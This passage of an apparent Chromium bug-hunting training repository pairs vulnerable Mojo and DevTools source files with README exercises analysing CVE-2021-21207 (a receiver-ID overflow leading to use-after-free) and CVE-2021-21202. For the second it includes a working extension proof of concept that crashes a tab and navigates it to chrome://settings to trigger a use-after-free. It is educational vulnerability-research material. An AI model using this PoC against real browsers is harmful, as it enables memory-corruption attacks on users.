== MOJO_RESULT_OK); } if (rv != MOJO_RESULT_OK) return MOJO_RESULT_ABORTED; user_payload_size_ = additional_payload_size; channel_message_ = std::move(channel_message); has_serialized_handles_ = true; } else { // Extend the existing message payload. // In order to avoid rather expensive message resizing on every handle // attachment operation, we merely lock and prepare the handle for transit // here, deferring serialization until |CommitSize()|. std::copy(dispatchers.begin(), dispatchers.end(), std::back_inserter(pending_handle_attachments_)); if (additional_payload_size) { size_t header_offset = static_cast(header_) - static_cast(channel_message_->payload()); size_t user_payload_offset = static_cast(user_payload_) - static_cast(channel_message_->payload()); channel_message_->ExtendPayload(user_payload_offset + user_payload_size_ + additional_payload_size); header_ = static_cast(channel_message_->mutable_payload()) + header_offset; user_payload_ = static_cast(channel_message_->mutable_payload()) + user_payload_offset; user_payload_size_ += additional_payload_size; } } if (!unlimited_size_ && user_payload_size_ > GetConfiguration().max_message_num_bytes) { // We want to be aware of new undocumented cases of very large IPCs. Crashes // which result from this stack should be addressed by either marking the // corresponding mojom interface method with an [UnlimitedSize] attribute; // or preferably by refactoring to avoid such large message contents, for // example by batching calls or leveraging shared memory where feasible. base::debug::DumpWithoutCrashing(); } return MOJO_RESULT_OK; } MojoResult UserMessageImpl::CommitSize() { if (!IsSerialized()) return MOJO_RESULT_FAILED_PRECONDITION; if (is_committed_) return MOJO_RESULT_OK; if (!pending_handle_attachments_.empty()) { CreateOrExtendSerializedEventMessage( message_event_, user_payload_size_, user_payload_size_, pending_handle_attachments_.data(), pending_handle_attachments_.size(), &channel_message_, &header_, &header_size_, &user_payload_); Core::Get()->ReleaseDispatchersForTransit(pending_handle_attachments_, true); pending_handle_attachments_.clear(); } is_committed_ = true; return MOJO_RESULT_OK; } MojoResult UserMessageImpl::SerializeIfNecessary() { if (IsSerialized()) return MOJO_RESULT_FAILED_PRECONDITION; DCHECK(HasContext()); DCHECK(!has_serialized_handles_); if (!context_serializer_) return MOJO_RESULT_NOT_FOUND; uintptr_t context = context_; context_ = 0; context_serializer_(reinterpret_cast(message_event_), context); if (context_destructor_) context_destructor_(context); has_serialized_handles_ = true; return MOJO_RESULT_OK; } MojoResult UserMessageImpl::ExtractSerializedHandles( ExtractBadHandlePolicy bad_handle_policy, MojoHandle* handles) { if (!IsSerialized()) return MOJO_RESULT_FAILED_PRECONDITION; if (!has_serialized_handles_) return MOJO_RESULT_NOT_FOUND; const MessageHeader* header = static_cast(header_); const DispatcherHeader* dispatcher_headers = reinterpret_cast(header + 1); if (header->num_dispatchers > std::numeric_limits::max()) return MOJO_RESULT_ABORTED; if (header->num_dispatchers == 0) return MOJO_RESULT_OK; has_serialized_handles_ = false; std::vector dispatchers( header->num_dispatchers); size_t data_payload_index = sizeof(MessageHeader) + header->num_dispatchers * sizeof(DispatcherHeader); if (data_payload_index > header->header_size) return MOJO_RESULT_ABORTED; const char* dispatcher_data = reinterpret_cast( dispatcher_headers + header->num_dispatchers); size_t port_index = 0; size_t platform_handle_index = 0; std::vector handles_in_transit = channel_message_->TakeHandles(); std::vector msg_handles(handles_in_transit.size()); for (size_t i = 0; i < handles_in_transit.size(); ++i) { DCHECK(!handles_in_transit[i].owning_process().IsValid()); msg_handles[i] = handles_in_transit[i].TakeHandle(); } for (size_t i = 0; i < header->num_dispatchers; ++i) { const DispatcherHeader& dh = dispatcher_headers[i]; auto type = static_cast(dh.type); base::CheckedNumeric next_payload_index = data_payload_index; next_payload_index += dh.num_bytes; if (!next_payload_index.IsValid() || header->header_size < next_payload_index.ValueOrDie()) { return MOJO_RESULT_ABORTED; } base::CheckedNumeric next_port_index = port_index; next_port_index += dh.num_ports; if (!next_port_index.IsValid() || message_event_->num_ports() < next_port_index.ValueOrDie()) { return MOJO_RESULT_ABORTED; } base::CheckedNumeric next_platform_handle_index = platform_handle_index; next_platform_handle_index += dh.num_platform_handles; if (!next_platform_handle_index.IsValid() || msg_handles.size() < next_platform_handle_index.ValueOrDie()) { return MOJO_RESULT_ABORTED; } PlatformHandle* out_handles = !msg_handles.empty() ? msg_handles.data() + platform_handle_index : nullptr; dispatchers[i].dispatcher = Dispatcher::Deserialize( type, dispatcher_data, dh.num_bytes, message_event_->ports() + port_index, dh.num_ports, out_handles, dh.num_platform_handles); if (!dispatchers[i].dispatcher && bad_handle_policy == ExtractBadHandlePolicy::kAbort) { return MOJO_RESULT_ABORTED; } dispatcher_data += dh.num_bytes; data_payload_index = next_payload_index.ValueOrDie(); port_index = next_port_index.ValueOrDie(); platform_handle_index = next_platform_handle_index.ValueOrDie(); } if (!Core::Get()->AddDispatchersFromTransit(dispatchers, handles)) return MOJO_RESULT_ABORTED; return MOJO_RESULT_OK; } // static void UserMessageImpl::FailHandleSerializationForTesting(bool fail) { g_always_fail_handle_serialization = fail; } UserMessageImpl::UserMessageImpl(ports::UserMessageEvent* message_event, MojoCreateMessageFlags flags) : ports::UserMessage(&kUserMessageTypeInfo), message_event_(message_event), unlimited_size_((flags & MOJO_CREATE_MESSAGE_FLAG_UNLIMITED_SIZE) != 0) { EnsureMemoryDumpProviderExists(); IncrementMessageCount(); } UserMessageImpl::UserMessageImpl(ports::UserMessageEvent* message_event, Channel::MessagePtr channel_message, void* header, size_t header_size, void* user_payload, size_t user_payload_size) : ports::UserMessage(&kUserMessageTypeInfo), message_event_(message_event), channel_message_(std::move(channel_message)), has_serialized_handles_(true), is_committed_(true), header_(header), header_size_(header_size), user_payload_(user_payload), user_payload_size_(user_payload_size) { EnsureMemoryDumpProviderExists(); IncrementMessageCount(); } bool UserMessageImpl::WillBeRoutedExternally() { MojoResult result = SerializeIfNecessary(); return result == MOJO_RESULT_OK || result == MOJO_RESULT_FAILED_PRECONDITION; } size_t UserMessageImpl::GetSizeIfSerialized() const { if (!IsSerialized()) return 0; return user_payload_size_; } } // namespace core } // namespace mojo ================================================ FILE: LEVEL_3/exercise_4/README.md ================================================ # Exercise 4 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21207 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1185732
-------- ### Set environment after fetch chromium ```sh git reset --hard 86a37b3c8fdc47b0ba932644fd61bbc791c82357 ``` ### Related code mojo/public/cpp/bindings/receiver_set.h read this [doc](https://chromium.googlesource.com/chromium/src/+/668cf831e91210d4f23e815e07ff1421f3ee9747/mojo/public/cpp/bindings#Receiver-Sets) get info about Receiver Sets ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer This function only checks whether the ID is equal to 0, but does not judge whether the ID is reused.so if the has same id inset to container,will free the previous. ```c++ ReceiverId AddImpl(ImplPointerType impl, PendingType receiver, Context context, scoped_refptr task_runner) { DCHECK(receiver.is_valid()); ReceiverId id = next_receiver_id_++; DCHECK_GE(next_receiver_id_, 0u); auto entry = std::make_unique(std::move(impl), std::move(receiver), this, id, std::move(context), std::move(task_runner)); receivers_.insert(std::make_pair(id, std::move(entry))); return id; } ``` If we add id to maxsize,then extra add 1,will overflow.Insert same id ,will free previous , then we can use the freed pointer ,cause UAF. ```c++ namespace mojo { using ReceiverId = size_t; template struct ReceiverSetTraits; ``` Where can cause UAF? the poc use cursor_impl pointer , cursor_impl_ptr->OnRemoveBinding ```c++ mojo::PendingAssociatedRemote IndexedDBDispatcherHost::CreateCursorBinding( const url::Origin& origin, std::unique_ptr cursor) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); auto cursor_impl = std::make_unique(std::move(cursor), origin, this, IDBTaskRunner()); auto* cursor_impl_ptr = cursor_impl.get(); mojo::PendingAssociatedRemote remote; mojo::ReceiverId receiver_id = cursor_receivers_.Add( std::move(cursor_impl), remote.InitWithNewEndpointAndPassReceiver()); cursor_impl_ptr->OnRemoveBinding( base::BindOnce(&IndexedDBDispatcherHost::RemoveCursorBinding, weak_factory_.GetWeakPtr(), receiver_id)); return remote; } ``` **POC** ```html ```
-------- ================================================ FILE: LEVEL_3/exercise_4/receiver_set.h ================================================ // Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef MOJO_PUBLIC_CPP_BINDINGS_RECEIVER_SET_H_ #define MOJO_PUBLIC_CPP_BINDINGS_RECEIVER_SET_H_ #include #include #include #include #include "base/bind.h" #include "base/callback.h" #include "base/macros.h" #include "base/memory/ptr_util.h" #include "base/stl_util.h" #include "mojo/public/cpp/bindings/connection_error_callback.h" #include "mojo/public/cpp/bindings/message.h" #include "mojo/public/cpp/bindings/pending_receiver.h" #include "mojo/public/cpp/bindings/receiver.h" #include "mojo/public/cpp/bindings/remote.h" #include "mojo/public/cpp/bindings/unique_ptr_impl_ref_traits.h" namespace mojo { using ReceiverId = size_t; template struct ReceiverSetTraits; template struct ReceiverSetTraits> { using InterfaceType = Interface; using PendingType = PendingReceiver; using ImplPointerType = typename ImplRefTraits::PointerType; }; template struct ReceiverSetContextTraits { using Type = ContextType; static constexpr bool SupportsContext() { return true; } }; template <> struct ReceiverSetContextTraits { // NOTE: This choice of Type only matters insofar as it affects the size of // the |context_| field of a ReceiverSetBase::Entry with void context. The // context value is never used in this case. using Type = bool; static constexpr bool SupportsContext() { return false; } }; // Generic helper used to own a collection of Receiver endpoints. For // convenience this type automatically manages cleanup of receivers that have // been disconnected from their remote caller. // // Note that this type is not typically used directly by application. Instead, // prefer to use one of the various aliases (like ReceiverSet) that are based on // it. // // If |ContextType| is non-void, then every added receiver must include a // context value of that type (when calling |Add()|), and |current_context()| // will return that value during the extent of any message dispatch or // disconnection notification pertaining to that specific receiver. // // So for example if ContextType is |int| and we call: // // Remote foo1, foo2; // ReceiverSet receivers; // // Assume |this| is an implementation of mojom::Foo... // receivers.Add(this, foo1.BindNewReceiver(), 42); // receivers.Add(this, foo2.BindNewReceiver(), 43); // // foo1->DoSomething(); // foo2->DoSomething(); // // We can expect two asynchronous calls to |this->DoSomething()|. If that // method looks at the value of |current_context()|, it will see a value of 42 // while executing the call from |foo1| and a value of 43 while executing the // call from |foo2|. // // Finally, note that ContextType can be any type of thing, including move-only // objects like std::unique_ptrs. template class ReceiverSetBase { public: using Traits = ReceiverSetTraits; using Interface = typename Traits::InterfaceType; using PendingType = typename Traits::PendingType; using ImplPointerType = typename Traits::ImplPointerType; using ContextTraits = ReceiverSetContextTraits; using Context = typename ContextTraits::Type; using PreDispatchCallback = base::RepeatingCallback; ReceiverSetBase() = default; // Sets a callback to be invoked any time a receiver in the set is // disconnected. The callback is invoked *after* the receiver in question // is removed from the set, and |current_context()| will correspond to the // disconnected receiver's context value during the callback if the // ContextType is not void. void set_disconnect_handler(base::RepeatingClosure handler) { disconnect_handler_ = std::move(handler); disconnect_with_reason_handler_.Reset(); } // Like above but also provides the reason given for disconnection, if any. void set_disconnect_with_reason_handler( RepeatingConnectionErrorWithReasonCallback handler) { disconnect_with_reason_handler_ = std::move(handler); disconnect_handler_.Reset(); } // Adds a new receiver to the set, binding |receiver| to |impl| with no // additional context. If |task_runner| is non-null, the receiver's messages // will be dispatched to |impl| on that |task_runner|. |task_runner| must run // messages on the same sequence that owns this ReceiverSetBase. If // |task_runner| is null, the value of // |base::SequencedTaskRunnerHandle::Get()| at the time of the |Add()| call // will be used to run scheduled tasks for the receiver. ReceiverId Add( ImplPointerType impl, PendingType receiver, scoped_refptr task_runner = nullptr) { static_assert(!ContextTraits::SupportsContext(), "Context value required for non-void context type."); return AddImpl(std::move(impl), std::move(receiver), false, std::move(task_runner)); } // Adds a new receiver associated with |context|. See above method for all // other (identical) details. ReceiverId Add( ImplPointerType impl, PendingType receiver, Context context, scoped_refptr task_runner = nullptr) { static_assert(ContextTraits::SupportsContext(), "Context value unsupported for void context type."); return AddImpl(std::move(impl), std::move(receiver), std::move(context), std::move(task_runner)); } // Removes a receiver from the set. Note that this is safe to call even if the // receiver corresponding to |id| has already been removed (will be a no-op). // // Returns |true| if the receiver was removed and |false| if it didn't exist. // // A removed receiver is effectively closed and its remote (if any) will be // disconnected. No further messages or disconnection notifications will be // scheduled or executed for the removed receiver. bool Remove(ReceiverId id) { auto it = receivers_.find(id); if (it == receivers_.end()) return false; receivers_.erase(it); return true; } // Unbinds and takes all receivers in this set. std::vector TakeReceivers() { std::vector pending_receivers; for (auto& it : receivers_) { pending_receivers.push_back(it.second->Unbind()); } receivers_.clear(); return pending_receivers; } // Removes all receivers from the set, effectively closing all of them. This // ReceiverSet will not schedule or execute any further method invocations or // disconnection notifications until a new receiver is added to the set. void Clear() { receivers_.clear(); } // Predicate to test if a receiver exists in the set. // // Returns |true| if the receiver is in the set and |false| if not. bool HasReceiver(ReceiverId id) const { return base::Contains(receivers_, id); } bool empty() const { return receivers_.empty(); } size_t size() const { return receivers_.size(); } // Implementations may call this when processing a received method call or // disconnection notification. During the extent of method invocation or // disconnection notification, this returns the context value associated with // the specific receiver which received the method call or disconnection. // // Each receiver must be associated with a context value when it's added // to the set by |Add()|, and this is only supported when ContextType is // not void. // // NOTE: It is important to understand that this must only be called within // the stack frame of an actual interface method invocation or disconnect // notification scheduled by a receiver. It is a illegal to attempt to call // this any other time (e.g., from another async task you post from within a // message handler). const Context& current_context() const { static_assert(ContextTraits::SupportsContext(), "current_context() requires non-void context type."); DCHECK(current_context_); return *current_context_; } // Implementations may call this when processing a received method call or // disconnection notification. See above note for constraints on usage. // This returns the ReceiverId associated with the specific receiver which // received the incoming method call or disconnection notification. ReceiverId current_receiver() const { DCHECK(current_context_); return current_receiver_; } // Reports the currently dispatching Message as bad and removes the receiver // which received it. Note that this is only legal to call from directly // within the stack frame of an incoming method call. If you need to do // asynchronous work before you can determine the legitimacy of a message, use // GetBadMessageCallback() and retain its result until you're ready to invoke // or discard it. void ReportBadMessage(const std::string& error) { GetBadMessageCallback().Run(error); } // Acquires a callback which may be run to report the currently dispatching // Message as bad and remove the receiver which received it. Note that this // this is only legal to call from directly within the stack frame of an // incoming method call, but the returned callback may be called exactly once // any time thereafter, as long as the ReceiverSetBase itself hasn't been // destroyed yet. If the callback is invoked, it must be done from the same // sequence which owns the ReceiverSetBase, and upon invocation it will report // the corresponding message as bad. ReportBadMessageCallback GetBadMessageCallback() { DCHECK(current_context_); return base::BindOnce( [](ReportBadMessageCallback error_callback, base::WeakPtr receiver_set, ReceiverId receiver_id, const std::string& error) { std::move(error_callback).Run(error); if (receiver_set) receiver_set->Remove(receiver_id); }, mojo::GetBadMessageCallback(), weak_ptr_factory_.GetWeakPtr(), current_receiver()); } void FlushForTesting() { // We avoid flushing while iterating over |receivers_| because this set // may be mutated during individual flush operations. Instead, snapshot // the ReceiverIds first, then iterate over them. This is less efficient, // but it's only a testing API. This also allows for correct behavior in // reentrant calls to FlushForTesting(). std::vector ids; for (const auto& receiver : receivers_) ids.push_back(receiver.first); auto weak_self = weak_ptr_factory_.GetWeakPtr(); for (const auto& id : ids) { if (!weak_self) return; auto it = receivers_.find(id); if (it != receivers_.end()) it->second->FlushForTesting(); } } // Swaps the interface implementation with a different one, to allow tests // to modify behavior. // // Returns the existing interface implementation to the caller. ImplPointerType SwapImplForTesting(ReceiverId id, ImplPointerType new_impl) { auto it = receivers_.find(id); if (it == receivers_.end()) return nullptr; return it->second->SwapImplForTesting(new_impl); } private: friend class Entry; class Entry { public: Entry(ImplPointerType impl, PendingType receiver, ReceiverSetBase* receiver_set, ReceiverId receiver_id, Context context, scoped_refptr task_runner) : receiver_(std::move(impl), std::move(receiver), std::move(task_runner)), receiver_set_(receiver_set), receiver_id_(receiver_id), context_(std::move(context)) { receiver_.SetFilter(std::make_unique(this)); receiver_.set_disconnect_with_reason_handler( base::BindOnce(&Entry::OnDisconnect, base::Unretained(this))); } ImplPointerType SwapImplForTesting(ImplPointerType new_impl) { return receiver_.SwapImplForTesting(new_impl); } void FlushForTesting() { receiver_.FlushForTesting(); } PendingType Unbind() { return receiver_.Unbind(); } private: class DispatchFilter : public MessageFilter { public: explicit DispatchFilter(Entry* entry) : entry_(entry) {} ~DispatchFilter() override {} private: // MessageFilter: bool WillDispatch(Message* message) override { entry_->WillDispatch(); return true; } void DidDispatchOrReject(Message* message, bool accepted) override {} Entry* entry_; DISALLOW_COPY_AND_ASSIGN(DispatchFilter); }; void WillDispatch() { receiver_set_->SetDispatchContext(&context_, receiver_id_); } void OnDisconnect(uint32_t custom_reason_code, const std::string& description) { WillDispatch(); receiver_set_->OnDisconnect(receiver_id_, custom_reason_code, description); } ReceiverType receiver_; ReceiverSetBase* const receiver_set_; const ReceiverId receiver_id_; Context const context_; DISALLOW_COPY_AND_ASSIGN(Entry); }; void SetDispatchContext(const Context* context, ReceiverId receiver_id) { current_context_ = context; current_receiver_ = receiver_id; } ReceiverId AddImpl(ImplPointerType impl, PendingType receiver, Context context, scoped_refptr task_runner) { DCHECK(receiver.is_valid()); ReceiverId id = next_receiver_id_++; DCHECK_GE(next_receiver_id_, 0u); auto entry = std::make_unique(std::move(impl), std::move(receiver), this, id, std::move(context), std::move(task_runner)); receivers_.insert(std::make_pair(id, std::move(entry))); return id; } void OnDisconnect(ReceiverId id, uint32_t custom_reason_code, const std::string& description) { auto it = receivers_.find(id); DCHECK(it != receivers_.end()); // We keep the Entry alive throughout error dispatch. std::unique_ptr entry = std::move(it->second); receivers_.erase(it); if (disconnect_handler_) disconnect_handler_.Run(); else if (disconnect_with_reason_handler_) disconnect_with_reason_handler_.Run(custom_reason_code, description); } base::RepeatingClosure disconnect_handler_; RepeatingConnectionErrorWithReasonCallback disconnect_with_reason_handler_; ReceiverId next_receiver_id_ = 0; std::map> receivers_; const Context* current_context_ = nullptr; ReceiverId current_receiver_; base::WeakPtrFactory weak_ptr_factory_{this}; DISALLOW_COPY_AND_ASSIGN(ReceiverSetBase); }; // Common helper for a set of Receivers which do not own their implementation. template using ReceiverSet = ReceiverSetBase, ContextType>; } // namespace mojo #endif // MOJO_PUBLIC_CPP_BINDINGS_RECEIVER_SET_H_ ================================================ FILE: LEVEL_3/exercise_5/README.md ================================================ # Exercise 5 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21202 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1188889
-------- ### Set environment after fetch chromium ```sh git reset --hard b84b5d13d0d013ad4a8c90f1ba4cd8509f9885bf ``` ### Related code content/browser/devtools/protocol/page_handler.cc tips: [`Page.navigate`](https://chromedevtools.github.io/devtools-protocol/tot/Page/#method-navigate) ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer This vulnerability does not seem to be exploitable, so we briefly end this part. >One of the methods available via the Chrome DevTools protocol is Page.navigate. That method allows the caller to navigate the target page to a specified URL. > >When an extension uses that method to navigate a crashed page to a restricted URL, the debugging session will be detached. However, that occurs in the middle of PageHandler::Navigate, resulting in the PageHandler object being deleted midway through the method. >The reason that the session is detached is that the URL being navigated to is restricted (and therefore can't be debugged by an extension). > >That results in the PageHandler object being deleted (along with the other domain handlers) once LoadURLWithParams has finished executing. ```c++ void PageHandler::Navigate(const std::string& url, Maybe referrer, Maybe maybe_transition_type, Maybe frame_id, Maybe referrer_policy, std::unique_ptr callback) { GURL gurl(url); if (!gurl.is_valid()) { callback->sendFailure( Response::ServerError("Cannot navigate to invalid URL")); return; } if (!host_) { callback->sendFailure(Response::InternalError()); return; } ui::PageTransition type; std::string transition_type = maybe_transition_type.fromMaybe(Page::TransitionTypeEnum::Typed); if (transition_type == Page::TransitionTypeEnum::Link) type = ui::PAGE_TRANSITION_LINK; else if (transition_type == Page::TransitionTypeEnum::Typed) type = ui::PAGE_TRANSITION_TYPED; else if (transition_type == Page::TransitionTypeEnum::Address_bar) type = ui::PAGE_TRANSITION_FROM_ADDRESS_BAR; else if (transition_type == Page::TransitionTypeEnum::Auto_bookmark) type = ui::PAGE_TRANSITION_AUTO_BOOKMARK; else if (transition_type == Page::TransitionTypeEnum::Auto_subframe) type = ui::PAGE_TRANSITION_AUTO_SUBFRAME; else if (transition_type == Page::TransitionTypeEnum::Manual_subframe) type = ui::PAGE_TRANSITION_MANUAL_SUBFRAME; else if (transition_type == Page::TransitionTypeEnum::Generated) type = ui::PAGE_TRANSITION_GENERATED; else if (transition_type == Page::TransitionTypeEnum::Auto_toplevel) type = ui::PAGE_TRANSITION_AUTO_TOPLEVEL; else if (transition_type == Page::TransitionTypeEnum::Form_submit) type = ui::PAGE_TRANSITION_FORM_SUBMIT; else if (transition_type == Page::TransitionTypeEnum::Reload) type = ui::PAGE_TRANSITION_RELOAD; else if (transition_type == Page::TransitionTypeEnum::Keyword) type = ui::PAGE_TRANSITION_KEYWORD; else if (transition_type == Page::TransitionTypeEnum::Keyword_generated) type = ui::PAGE_TRANSITION_KEYWORD_GENERATED; else type = ui::PAGE_TRANSITION_TYPED; std::string out_frame_id = frame_id.fromMaybe( host_->frame_tree_node()->devtools_frame_token().ToString()); FrameTreeNode* frame_tree_node = FrameTreeNodeFromDevToolsFrameToken( host_->frame_tree_node(), out_frame_id); if (!frame_tree_node) { callback->sendFailure( Response::ServerError("No frame with given id found")); return; } NavigationController::LoadURLParams params(gurl); network::mojom::ReferrerPolicy policy = ParsePolicyFromString(referrer_policy.fromMaybe("")); params.referrer = Referrer(GURL(referrer.fromMaybe("")), policy); params.transition_type = type; params.frame_tree_node_id = frame_tree_node->frame_tree_node_id(); frame_tree_node->navigator().controller().LoadURLWithParams(params); [1] if (frame_tree_node->navigation_request()) { navigate_callbacks_[frame_tree_node->navigation_request() ->devtools_navigation_token()] = std::move(callback); } else { callback->sendSuccess(out_frame_id, Maybe(), Maybe()); } } ``` And patch add check `weak_factory_` after `LoadURLWithParams` `base::WeakPtrFactory weak_factory_{this};` **Poc** This poc is in the form of a `extensions`, you can get guidence from [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1188889) ```js let tabUpdatedListener = null; chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) { if (tabUpdatedListener) { tabUpdatedListener(tabId, changeInfo, tab); } }); let debugEventListener = null; chrome.debugger.onEvent.addListener(function (source, method, params) { if (debugEventListener) { debugEventListener(source, method, params); } }); startProcess(); function startProcess() { let targetTab = null; chrome.tabs.create({url: "https://www.google.com/"}, function (tab) { targetTab = tab; }); tabUpdatedListener = function (tabId, changeInfo, updatedTab) { if (targetTab && tabId === targetTab.id && changeInfo.status === "complete") { tabUpdatedListener = null; onTargetTabLoaded(targetTab); } }; } function onTargetTabLoaded(tab) { chrome.debugger.attach({tabId: tab.id}, "1.3", function () { onDebuggerAttachedToTargetTab(tab); }); } function onDebuggerAttachedToTargetTab(tab) { chrome.debugger.sendCommand({tabId: tab.id}, "Page.crash", {}); debugEventListener = function (source, method, params) { if (method === "Inspector.targetCrashed") { debugEventListener = null; chrome.debugger.sendCommand({tabId: tab.id}, "Page.navigate", {url: "chrome://settings/"}); } }; } ```
-------- ================================================ FILE: LEVEL_3/exercise_5/page_handler.cc ================================================ // Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/browser/devtools/protocol/page_handler.h" #include #include #include #include #include #include "base/bind.h" #include "base/location.h" #include "base/memory/ref_counted.h" #include "base/memory/ref_counted_memory.h" #include "base/numerics/safe_conversions.h" #include "base/optional.h" #include "base/process/process_handle.h" #include "base/single_thread_task_runner.h" #include "base/strings/string_number_conversions.h" #include "base/strings/utf_string_conversions.h" #include "base/task/post_task.h" #include "base/task/thread_pool.h" #include "base/threading/thread_task_runner_handle.h" #include "build/build_config.h" #include "content/browser/child_process_security_policy_impl.h" #include "content/browser/devtools/devtools_agent_host_impl.h" #include "content/browser/devtools/protocol/browser_handler.h" #include "content/browser/devtools/protocol/devtools_mhtml_helper.h" #include "content/browser/devtools/protocol/emulation_handler.h" #include "content/browser/devtools/protocol/handler_helpers.h" #include "content/browser/manifest/manifest_manager_host.h" #include "content/browser/renderer_host/navigation_request.h" #include "content/browser/renderer_host/navigator.h" #include "content/browser/renderer_host/render_widget_host_impl.h" #include "content/browser/renderer_host/render_widget_host_view_base.h" #include "content/browser/web_contents/web_contents_impl.h" #include "content/browser/web_contents/web_contents_view.h" #include "content/public/browser/browser_context.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/download_manager.h" #include "content/public/browser/file_select_listener.h" #include "content/public/browser/javascript_dialog_manager.h" #include "content/public/browser/navigation_controller.h" #include "content/public/browser/navigation_entry.h" #include "content/public/browser/navigation_handle.h" #include "content/public/browser/storage_partition.h" #include "content/public/browser/web_contents_delegate.h" #include "content/public/common/referrer.h" #include "content/public/common/result_codes.h" #include "content/public/common/use_zoom_for_dsf_policy.h" #include "net/base/filename_util.h" #include "third_party/skia/include/core/SkBitmap.h" #include "ui/base/page_transition_types.h" #include "ui/gfx/codec/jpeg_codec.h" #include "ui/gfx/codec/png_codec.h" #include "ui/gfx/geometry/size_conversions.h" #include "ui/gfx/image/image.h" #include "ui/gfx/image/image_util.h" #include "ui/gfx/skbitmap_operations.h" #include "ui/snapshot/snapshot.h" #ifdef OS_ANDROID #include "content/browser/renderer_host/compositor_impl_android.h" #endif namespace content { namespace protocol { namespace { constexpr const char* kMhtml = "mhtml"; constexpr const char* kPng = "png"; constexpr const char* kJpeg = "jpeg"; constexpr int kDefaultScreenshotQuality = 80; constexpr int kFrameRetryDelayMs = 100; constexpr int kCaptureRetryLimit = 2; constexpr int kMaxScreencastFramesInFlight = 2; constexpr char kCommandIsOnlyAvailableAtTopTarget[] = "Command can only be executed on top-level targets"; Binary EncodeImage(const gfx::Image& image, const std::string& format, int quality) { DCHECK(!image.IsEmpty()); scoped_refptr data; if (format == kPng) { data = image.As1xPNGBytes(); } else if (format == kJpeg) { scoped_refptr bytes(new base::RefCountedBytes()); if (gfx::JPEG1xEncodedDataFromImage(image, quality, &bytes->data())) data = bytes; } if (!data || !data->front()) return protocol::Binary(); return Binary::fromRefCounted(data); } Binary EncodeSkBitmap(const SkBitmap& image, const std::string& format, int quality) { return EncodeImage(gfx::Image::CreateFrom1xBitmap(image), format, quality); } std::unique_ptr BuildScreencastFrameMetadata( const gfx::Size& surface_size, float device_scale_factor, float page_scale_factor, const gfx::Vector2dF& root_scroll_offset, float top_controls_visible_height) { if (surface_size.IsEmpty() || device_scale_factor == 0) return nullptr; const gfx::SizeF content_size_dip = gfx::ScaleSize(gfx::SizeF(surface_size), 1 / device_scale_factor); float top_offset_dip = top_controls_visible_height; gfx::Vector2dF root_scroll_offset_dip = root_scroll_offset; if (IsUseZoomForDSFEnabled()) { top_offset_dip /= device_scale_factor; root_scroll_offset_dip.Scale(1 / device_scale_factor); } std::unique_ptr page_metadata = Page::ScreencastFrameMetadata::Create() .SetPageScaleFactor(page_scale_factor) .SetOffsetTop(top_offset_dip) .SetDeviceWidth(content_size_dip.width()) .SetDeviceHeight(content_size_dip.height()) .SetScrollOffsetX(root_scroll_offset_dip.x()) .SetScrollOffsetY(root_scroll_offset_dip.y()) .SetTimestamp(base::Time::Now().ToDoubleT()) .Build(); return page_metadata; } // Determines the snapshot size that best-fits the Surface's content to the // remote's requested image size. gfx::Size DetermineSnapshotSize(const gfx::Size& surface_size, int screencast_max_width, int screencast_max_height) { if (surface_size.IsEmpty()) return gfx::Size(); // Nothing to copy (and avoid divide-by-zero below). double scale = 1; if (screencast_max_width > 0) { scale = std::min(scale, static_cast(screencast_max_width) / surface_size.width()); } if (screencast_max_height > 0) { scale = std::min(scale, static_cast(screencast_max_height) / surface_size.height()); } return gfx::ToRoundedSize(gfx::ScaleSize(gfx::SizeF(surface_size), scale)); } void GetMetadataFromFrame(const media::VideoFrame& frame, double* device_scale_factor, double* page_scale_factor, gfx::Vector2dF* root_scroll_offset, double* top_controls_visible_height) { // Get metadata from |frame|. This will CHECK if metadata is missing. *device_scale_factor = *frame.metadata().device_scale_factor; *page_scale_factor = *frame.metadata().page_scale_factor; root_scroll_offset->set_x(*frame.metadata().root_scroll_offset_x); root_scroll_offset->set_y(*frame.metadata().root_scroll_offset_y); *top_controls_visible_height = *frame.metadata().top_controls_visible_height; } template bool CanExecuteGlobalCommands( RenderFrameHost* host, const std::unique_ptr& callback) { if (!host || !host->GetParent()) return true; callback->sendFailure( Response::ServerError(kCommandIsOnlyAvailableAtTopTarget)); return false; } } // namespace PageHandler::PageHandler(EmulationHandler* emulation_handler, BrowserHandler* browser_handler, bool allow_file_access) : DevToolsDomainHandler(Page::Metainfo::domainName), enabled_(false), screencast_enabled_(false), screencast_quality_(kDefaultScreenshotQuality), screencast_max_width_(-1), screencast_max_height_(-1), capture_every_nth_frame_(1), capture_retry_count_(0), session_id_(0), frame_counter_(0), frames_in_flight_(0), video_consumer_(nullptr), last_surface_size_(gfx::Size()), host_(nullptr), emulation_handler_(emulation_handler), browser_handler_(browser_handler) { bool create_video_consumer = true; #ifdef OS_ANDROID constexpr auto kScreencastPixelFormat = media::PIXEL_FORMAT_I420; // Video capture doesn't work on Android WebView. Use CopyFromSurface instead. if (!CompositorImpl::IsInitialized()) create_video_consumer = false; #else constexpr auto kScreencastPixelFormat = media::PIXEL_FORMAT_ARGB; #endif if (create_video_consumer) { video_consumer_ = std::make_unique( base::BindRepeating(&PageHandler::OnFrameFromVideoConsumer, 